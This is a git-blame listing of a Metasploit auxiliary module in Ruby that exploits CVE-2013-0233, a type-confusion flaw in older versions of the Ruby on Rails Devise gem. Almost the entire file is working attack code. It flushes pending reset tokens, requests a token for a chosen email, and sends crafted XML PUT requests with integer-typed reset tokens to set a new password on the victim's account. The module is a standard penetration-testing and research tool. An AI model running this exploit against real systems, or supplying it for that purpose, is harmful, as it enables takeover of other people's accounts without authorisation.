Files
metasploit-gs/modules/auxiliary/admin/http/rails_devise_pass_reset.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

166 lines
5.8 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2013-02-11 11:12:29 -06:00
require 'rexml/element'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
def initialize(info = {})
2023-02-08 14:30:08 +00:00
super(
update_info(
info,
'Name' => 'Ruby on Rails Devise Authentication Password Reset',
'Description' => %q{
The Devise authentication gem for Ruby on Rails is vulnerable
2013-02-10 21:13:18 -06:00
to a password reset exploit leveraging type confusion. By submitting XML
to rails, we can influence the type used for the reset_password_token
2013-02-10 21:13:18 -06:00
parameter. This allows for resetting passwords of arbitrary accounts,
knowing only the associated email address.
2013-08-30 16:28:54 -05:00
This module defaults to the most common devise URIs and response values,
but these may require adjustment for implementations which customize them.
2013-08-30 16:28:54 -05:00
Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database
2013-02-13 09:52:17 +01:00
except PostgreSQL or SQLite3. Tested with v2.2.2, 2.1.2, and 2.0.4 on Rails
3.2.11. Patch applied to Rails 3.2.12 and 3.1.11 should prevent exploitation
of this vulnerability, by quoting numeric values when comparing them with
non numeric values.
},
2023-02-08 14:30:08 +00:00
'Author' => [
'joernchen', # original discovery and disclosure
'jjarmoc' # metasploit module
],
2023-02-08 14:30:08 +00:00
'License' => MSF_LICENSE,
'References' => [
2013-02-10 21:13:18 -06:00
[ 'CVE', '2013-0233'],
[ 'OSVDB', '89642' ],
2013-02-13 01:00:25 +01:00
[ 'BID', '57577' ],
[ 'URL', 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/'],
2013-02-13 09:52:17 +01:00
[ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'],
[ 'URL', 'https://github.com/rails/rails/commit/921a296a3390192a71abeec6d9a035cc6d1865c8' ],
[ 'URL', 'https://github.com/rails/rails/commit/26e13c3ca71cbc7859cc4c51e64f3981865985d8']
],
2023-02-08 14:30:08 +00:00
'DisclosureDate' => '2013-01-28'
)
)
2013-08-30 16:28:54 -05:00
register_options(
[
2023-02-08 14:30:08 +00:00
OptString.new('TARGETURI', [ true, 'The request URI', '/users/password']),
2013-02-13 01:00:25 +01:00
OptString.new('TARGETEMAIL', [true, 'The email address of target account']),
OptString.new('OBJECTNAME', [true, 'The user object name', 'user']),
OptString.new('PASSWORD', [true, 'The password to set']),
OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]),
2019-10-05 14:26:34 -04:00
OptInt.new('MAXINT', [true, 'Max integer to try (tokens beginning with a higher int will fail)', 10])
2023-02-08 14:30:08 +00:00
]
)
end
2013-08-30 16:28:54 -05:00
def generate_token(account)
# CSRF token from GET "/users/password/new" isn't actually validated it seems.
2013-08-30 16:28:54 -05:00
2023-02-08 14:30:08 +00:00
postdata = "#{datastore['OBJECTNAME']}[email]=#{account}"
2013-08-30 16:28:54 -05:00
res = send_request_cgi({
2023-02-08 14:30:08 +00:00
'uri' => normalize_uri(datastore['TARGETURI']),
'method' => 'POST',
'data' => postdata
2013-02-13 01:00:25 +01:00
})
2013-08-30 16:28:54 -05:00
2013-02-13 01:00:25 +01:00
unless res
2023-02-08 14:30:08 +00:00
print_error('No response from server')
2013-02-12 13:41:21 -06:00
return false
end
2013-08-30 16:28:54 -05:00
2013-02-11 13:58:56 -06:00
if res.code == 200
2023-02-08 14:30:08 +00:00
error_text = res.body[%r{<div id="error_explanation">\n\s+(.*?)</div>}m, 1]
print_error('Server returned error')
2013-02-13 01:00:25 +01:00
vprint_error(error_text)
2013-02-11 13:58:56 -06:00
return false
end
2013-08-30 16:28:54 -05:00
2013-02-11 13:58:56 -06:00
return true
end
2013-08-30 16:28:54 -05:00
2023-02-08 14:30:08 +00:00
def clear_tokens
count = 0
status = true
2023-02-08 14:30:08 +00:00
until (status == false)
status = reset_one(Rex::Text.rand_text_alpha(rand(5..14)))
count += 1 if status
end
2013-02-13 01:00:25 +01:00
vprint_status("Cleared #{count} tokens")
end
2013-08-30 16:28:54 -05:00
2023-02-08 14:30:08 +00:00
def reset_one(password, report = false)
(0..datastore['MAXINT']).each do |int_to_try|
2013-02-11 11:12:29 -06:00
encode_pass = REXML::Text.new(password).to_s
2013-08-30 16:28:54 -05:00
2023-02-08 14:30:08 +00:00
xml = ''
xml << "<#{datastore['OBJECTNAME']}>"
xml << "<password>#{encode_pass}</password>"
2013-02-11 11:12:29 -06:00
xml << "<password_confirmation>#{encode_pass}</password_confirmation>"
xml << "<reset_password_token type=\"integer\">#{int_to_try}</reset_password_token>"
xml << "</#{datastore['OBJECTNAME']}>"
2013-08-30 16:28:54 -05:00
res = send_request_cgi({
2023-02-08 14:30:08 +00:00
'uri' => normalize_uri(datastore['TARGETURI']),
'method' => 'PUT',
'ctype' => 'application/xml',
'data' => xml
})
2013-08-30 16:28:54 -05:00
2013-02-13 01:00:25 +01:00
unless res
2023-02-08 14:30:08 +00:00
print_error('No response from server')
2013-02-12 13:41:21 -06:00
return false
end
2013-08-30 16:28:54 -05:00
2013-02-10 21:13:18 -06:00
case res.code
when 200
# Failure, grab the error text
# May need to tweak this for some apps...
2023-02-08 14:30:08 +00:00
error_text = res.body[%r{<div id="error_explanation">\n\s+(.*?)</div>}m, 1]
if report && (error_text !~ /token/)
print_error('Server returned error')
2013-02-13 01:00:25 +01:00
vprint_error(error_text)
return false
end
when 302
# Success!
return true
2013-02-10 21:13:18 -06:00
else
print_error("ERROR: received code #{res.code}")
return false
end
2023-02-08 14:30:08 +00:00
end
2013-08-30 16:28:54 -05:00
2013-02-13 01:00:25 +01:00
print_error("No active reset tokens below #{datastore['MAXINT']} remain. Try a higher MAXINT.") if report
return false
end
2013-08-30 16:28:54 -05:00
def run
# Clear outstanding reset tokens, helps ensure we hit the intended account.
2013-11-27 22:27:45 -06:00
if datastore['FLUSHTOKENS']
2023-02-08 14:30:08 +00:00
print_status('Clearing existing tokens...')
clear_tokens
2013-11-27 22:27:45 -06:00
end
# Generate a token for our account
2013-02-13 01:00:25 +01:00
print_status("Generating reset token for #{datastore['TARGETEMAIL']}...")
2013-02-11 13:58:56 -06:00
status = generate_token(datastore['TARGETEMAIL'])
if status == false
2023-02-08 14:30:08 +00:00
print_error('Failed to generate reset token')
2013-02-11 13:58:56 -06:00
return
2013-02-12 13:38:58 -06:00
end
2023-02-08 14:30:08 +00:00
print_good('Reset token generated successfully')
2013-08-30 16:28:54 -05:00
# Reset a password. We're racing users creating other reset tokens.
# If we didn't flush, we'll reset the account with the lowest ID that has a token.
2013-02-13 01:00:25 +01:00
print_status("Resetting password to \"#{datastore['PASSWORD']}\"...")
status = reset_one(datastore['PASSWORD'], true)
2023-02-08 14:30:08 +00:00
status ? print_good('Password reset worked successfully') : print_error('Failed to reset password')
end
2013-11-27 22:27:45 -06:00
end